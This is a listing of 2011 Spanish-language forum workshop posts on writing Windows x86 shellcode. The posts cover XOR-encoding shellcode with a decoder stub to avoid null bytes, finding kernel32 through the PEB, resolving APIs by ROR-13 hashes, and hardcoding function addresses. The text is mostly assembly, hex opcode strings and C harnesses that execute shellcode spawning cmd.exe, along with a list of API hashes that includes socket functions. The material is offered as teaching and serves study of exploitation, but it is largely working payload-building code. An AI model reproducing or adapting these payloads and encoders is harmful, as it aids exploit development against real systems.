\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... =< \x00 encontrado con: xor 0x10 => Codificando Opcodes (xor 0x11)... =Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 => Moviendo shellcode codificada a sc.shellcode... => Buscando bytes nulos y saltos de linea en sc.shellcode... => Creando codigo fuente del stub decodificador... ****************10c111_decoder.asm******** [BITS 32] global ini ini: jmp short sc_data decode_routine: pop ebx xor ecx,ecx mov cx, 0x10c1 sub cx, 0x1010 decode_loop: xor byte [ebx], 0x11 inc ebx loop decode_loop jmp short shellcode sc_data: call decode_routine shellcode: ***************************************** =Codigo del decodificador guardado en 10c111_decoder.asm
>Proceso finalizado<
Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 ---> El Stub: Estudiemos el stub creado por el script: [BITS 32] global ini ini: jmp short sc_data ;obtenemos el puntero al codigo de la shellcode decode_routine: pop ebx ;puntero al inicio de la shellcode a ebx xor ecx,ecx ;ecx a cero mov cx, 0x10c1 ;tama?o de la shellcode mas 0x1010 sub cx, 0x1010 ;cx menos los 0x1010 a?adidos (la explicacion mas adelante) decode_loop: xor byte [ebx], 0x11 ;byte contenido en ebx decodificado inc ebx ;ebx++ loop decode_loop ;cx=0? no, sigue decodificando jmp short shellcode ;si, ejecutemos la shellcode sc_data: call decode_routine ;puntero a la shellcode a la pila shellcode:
Veamos las lineas del decodificador: mov cx, 0x10c1 sub cx, 0x1010
Y la del codificador:
Por que es necesario sumar 0x1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como: mov cx, 0xb1
??? Si, si es mas sencillo, pero veamoslo en opcodes: mov cx, 0x10c1 sub cx, 0x1010
>>B9C11081E91010 mov cx, 0xb1
>>B9B100 Todo bien, pero notese algo: B9B1 00Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi, hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo. Probando todo-Tenemos el stub para la shellcode: \xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff -Tenemos la shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11 Encapsulamos en C: char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
funciona!! ReferenciasUnderstanding Windows Shellcode en.wikipedia.org/wiki/Shellcode skypher.com/wiki/index.php/Main_Page Articulos mios relacionados al shellcoding:Creando una Shellcode (x86?win)Creando una Shellcode: "Direccion de kernel32 y calls especiales"
Saludos!
|
|
|
4
|
Seguridad Informática / Bugs y Exploits / [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales"
|
en: 26 Febrero 2011, 14:16 pm
|
por lShadowl
Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones. TeoriaNota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block). PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente: typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; }PEB, *PPEB; La direccion de esta estructura se en fs:[0x30], esto quiere decir que con: podemos tener en 'eax' un puntero a PEB. Pero para que nos sirve tener acceso a PEB? En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA: Ahora, veamos la estructura de PEB_LDR_DATA: typedef struct _PEB_LDR_DATA {
ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
Bien, lo que nos interesa aqui es la list entry: LIST_ENTRY InLoadOrderModuleList; Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente: typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos. Encontrando la direccion de kernel32.dllPara filtrar los datos del PEB partimos en tener un puntero a PEB: Ahora necesitamos apuntar a InLoadOrderModuleList de LDR mov ebx, [ebx+0x0C] ;puntero a LDR mov ebx, [ebx+0x1C] ;puntero a InLoadOrderModuleList
Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32 mov ebx, [ebx] mov ebx, [ebx + 0x08]
Entonces tendremos como codigo resultante: xor ebx, ebx ;ebx a 0 mov ebx, fs:[0x30] ;apuntamos a PEB mov ebx, [ebx+0x0C] ;LDR a edx mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx mov ebx, [ebx] mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx
Comparemos como funciona vs GetModuleHandleA(): #include <windows.h> #include <stdio.h>
int main() { DWORD kernelAdd; printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll")); __asm{ xor ebx, ebx mov ebx, fs:[0x30] mov ebx, [ebx+0x0C] mov ebx, [ebx+0x1C] mov ebx, [ebx] mov ebx, [ebx+0x08] mov kernelAdd, ebx } printf("\ncon PEB: %8X", kernelAdd); return 0; } Como podemos ver, las direcciones resultantes (en mi caso: "7C800000" //win XP Pro sp3) son identicas. El metodo funciona. Mas teoriaBien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta sección es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows. Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >> De estos campos nos interesaremos en la parte de los directorios de datos. >> EAT - Export Address Table La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un ?ndice basado en cero de 5.) Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no est?adentro de la sección de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una direcci?n real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un s?mbolo en otro DLL. Es necesario saber las estructuras con que se trabaja, para mas info: MSDN. Llamando a las APIsEl metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos . Analicemos como hacer las llamadas siguiendo los pasos anteriores: api_call: pushad ;registros a pila mov ebp, esp xor edx, edx mov edx, [fs:edx+48] ;puntero a PEB mov edx, [edx+12] ;puntero a LDR mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder
next_mod: mov esi, [edx+40] ;puntero al nombre de los modulos movzx ecx, word [edx+38] ;logitud a verficar xor edi, edi loop_modname: xor eax, eax lodsb cmp al, 'a' ;el nombre del modulo esta en minuscula jl not_lowercase ;lo pasamos sub al, 0x20 ;a mayuscula not_lowercase: ror edi, 13 ;rotamos hacia la derecha add edi, eax ;el valor del hash loop loop_modname ;hasta ecx=0 push edx ;Posicion push edi ;y hash del modulo actual a pila mov edx, [edx+16] ;direccion base del modulo a edx mov eax, [edx+60] ;cabecera PE a eax add eax, edx mov eax, [eax+120] ;EAT a eax test eax, eax ;hay EAT? jz get_next_mod1 ;no, siguiente modulo add eax, edx push eax ;EAT del modulo a pila mov ecx, [eax+24] ;numero de funciones del modulo a ecx mov ebx, [eax+32] ;RVA de las funciones a ebx add ebx, edx get_next_func: jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo dec ecx ;numero de la funcion - 1 mov esi, [ebx+ecx*4] ;RVA de la funcion a esi add esi, edx xor edi, edi loop_funcname: xor eax, eax lodsb ;byte por byte del nombre de la funcion en ASCII ror edi, 13 ;buscamos add edi, eax ;el caracter cmp al, ah ;nulo que indica el final de la cadena jne loop_funcname ;hasta tener el hash completo de la funcion add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion cmp edi, [ebp+36] ;es la que buscamos? jnz get_next_func ;no, sigamos con la siguiente funcion pop eax ;EAT del modulo a eax mov ebx, [eax+36] ;conseguimos RVA add ebx, edx ;le a?adimos la direccion base del modulo mov cx, [ebx+2*ecx] mov ebx, [eax+28] ;RVA de la funciones a ebx add ebx, edx ;le a?adimos la direccion base del modulo mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax
tenemos la direccion virtual de la funcion finish: mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
anterior pop ebx ;arreglamos la pila pop ebx popad pop ecx pop edx push ecx jmp eax ;llamamos a la funcion get_next_mod: pop eax ;EAT del siguiente modulo a eax get_next_mod1: pop edi ;hash del siguiente modulo a eax pop edx ;posicion donde quedamos en la lista de modulos a edx mov edx, [edx] ;puntero al siguiente modulo jmp short next_mod ;Harmony Security
Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos: [BITS 32]
cld ;bandera de direccion a cero call start ;puntero de api_call a la pila api_call: ;(...) ;codigo de api_call ;(...)
start: pop ebp ;puntero de api_call a ebp jmp command ;comando a ejecutar va a pila
exec: push 0x876F8B31 ;hash para WinExec a pila call ebp ;llamamos a api_call push 0x56A2B5F0 ;hash para ExitProcess a pila call ebp ;llamamos a api_call
command: call exec db "cmd.exe ", 0
Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C: char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";
int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); } Funciona? Si funciono. Algunos hashes muy usados: 0x006B8029, "ws2_32.dll!WSAStartup" 0xE0DF0FEA, "ws2_32.dll!WSASocketA" 0x6737DBC2, "ws2_32.dll!bind" 0xFF38E9B7, "ws2_32.dll!listen" 0xE13BEC74, "ws2_32.dll!accept" 0x614D6E75, "ws2_32.dll!closesocket" 0x6174A599, "ws2_32.dll!connect" 0x5FC8D902, "ws2_32.dll!recv" 0x5F38EBC2, "ws2_32.dll!send"
0x5BAE572D, "kernel32.dll!WriteFile" 0x4FDAF6DA, "kernel32.dll!CreateFileA" 0x13DD2ED7, "kernel32.dll!DeleteFileA" 0xE449F330, "kernel32.dll!GetTempPathA" 0x528796C6, "kernel32.dll!CloseHandle" 0x863FCC79, "kernel32.dll!CreateProcessA" 0xE553A458, "kernel32.dll!VirtualAlloc" 0x300F2F0B, "kernel32.dll!VirtualFree" 0x0726774C, "kernel32.dll!LoadLibraryA" 0x7802F749, "kernel32.dll!GetProcAddress" 0x601D8708, "kernel32.dll!WaitForSingleObject" 0x876F8B31, "kernel32.dll!WinExec" 0x9DBD95A6, "kernel32.dll!GetVersion" 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" 0x56A2B5F0, "kernel32.dll!ExitProcess" 0x0A2A1DE0, "kernel32.dll!ExitThread"
0x6F721347, "ntdll.dll!RtlExitUserThread"
0x23E38427, "advapi32.dll!RevertToSelf" Saludos!
|
|
|
5
|
Seguridad Informática / Bugs y Exploits / [Taller] Creando una shellcode (x86 | win)
|
en: 26 Febrero 2011, 14:13 pm
|
Creando una Shellcode por lShadowl
Conocimientos previos requeridos: asm 32b y C Conocimientos previos: -Que es una shellcode? "Una shellcode es un conjunto de ?rdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecuci?n de un programa para conseguir que la m?quina en la que reside se ejecute la operaci?n que se haya programado.(...)" >> http://es.wikipedia.org/wiki/ShellcodeHerramientas usadas en este tutorial?Descarga: Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows. La lista de las paquetes minimos ha descargar pasar seguir el tutorial es: -----Categoria Devel---- >binutils >gcc >nasm ----Categoria System---- >util-linux ----Categoria Editors---- >vim Otras herramientas y scripts usados estan como codigo fuente en el tutorial. IntroduccionEste tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el proceso en 2 partes: codificacion en ensamblador y conversion a opcode. El objetivo del tutorial es crear una shellcode que abra una cmd. Codificacion en ensambladorPara esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones "WinExec" [con que ejecutaremos la cmd] y "ExitProcess" [con la cual saldremos del programa], ambas se encuentran en la dll "kernel32". Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a "arwin", un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo: #include <windows.h> #include <stdio.h> /*************************************** arwin - win32 address resolution program by steve hanna v.01 vividmachines.com shanna@uiuc.edu you are free to modify this code but please attribute me if you change the code. bugfixes & additions are welcome please email me! to compile: you will need a win32 compiler with the win32 SDK this program finds the absolute address of a function in a specified DLL. happy shellcoding! ***************************************/ int main(int argc, char** argv) { HMODULE hmod_libname; FARPROC fprc_func; printf("arwin - win32 address resolution program - by steve hanna - v.01\n"); if(argc < 3) { printf("%s <Library Name> <Function Name>\n",argv [0]); } hmod_libname = LoadLibrary(argv[1]); if(hmod_libname == NULL) { printf("Error: could not load library!\n"); } fprc_func = GetProcAddress(hmod_libname,argv[2]); if(fprc_func == NULL) { printf("Error: could find the function in the library!\n"); } printf("%s is located at 0x%08x in %s\n",argv [2],(unsigned int)fprc_func ,argv [1]); }
Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs. Ya con arwin usaremos la linea: $ arwin kernel32.dll WinExec con lo cual obtendremos un resultado parecido a este: El mismo proceso para buscar "ExitProcess". >> Ahora que tenemos las direcciones, pasemos al code en asm. -------------------------------------------------------------------------------------------- BITS 32 ;especificamos que el code es 32bits jmp short cmd ;"cmd" a la pila init: mov edx,7C8623ADh ; 7C8623ADh>>direccion de WinExec a edx call edx ; hacemos la llamada (recordemos que "cmd" esta en la pila) mov edx,7C81CAFAh ; 7C8623ADh>>direccion de ExitProcess a edx call edx ; salimos cmd: CALL init db 'cmd',00h ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio
-------------------------------------------------------------------------------------------- Para cuestiones de seguimiento, llamaremos a este archivo "shc.asm".
(Entremedio) Como pusiste a cmd en la pila, no veo ni un push?
La respuesta a esta pregunta reside en el comportamiento de la instrucción 'call' en conjunto con la instrucción 'ret'>> CALL lo que hace es introducir IP+1 en la pila, ósea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el. En ese caso inc eip push eip jmp func
y call func
son equivalente, así como son: pop edx ;estando eip+1 del code c2 al tope de la pila jmp edx
y ret
La conclusión que podemos sacar de este comportamiento es que call nos deja un puntero en la pila de la siguiente dirección, este es el principio del código. Salta a cmd: jmp short cmd
En cmd: se manda el offset de "db 'cmd',00h" a pila y salta a init: cmd: CALL init db 'cmd',00h
En init: 7C8623ADh pasa a edx y se lo llama teniendo el puntero a "db 'cmd',00h" en la pila. init: mov edx,7C8623ADh call edx
Conversion a opcodeBien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi: $ nasm -f bin -o shc.bin shc.asm En shc.bin tendremos algo como esto: luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma: $ xxd -i shc.bin y nos devolvera esto: Y listo, tenemos nuestra shellcode lista en C: unsigned char shc_bin[] = { 0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca, 0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x00 }; unsigned int shc_bin_len = 25;
Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este: #!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.bin\n\n" exit fi filename=`echo $1 | sed s/"\.bin$"//` rm -f $filename.shellcode for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g` do echo -n "\\$i" >> $filename.shellcode echo -n "\\$i" done echo
De esta forma:: $ xxd-shellcode.sh shc.bin Devolvera esto: y en shc.shellcode los opcodes \xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64
Ahora veamos la plantilla en C para probarla -------------------------- char code[] = "[b]OPCODES[/b]"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
-------------------------- Asi que tendriamos en sch.c ...: char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Compilamos ($ gcc -o shc shc.c) y probamos:
Saludos!
|
|
|
|
|
|
|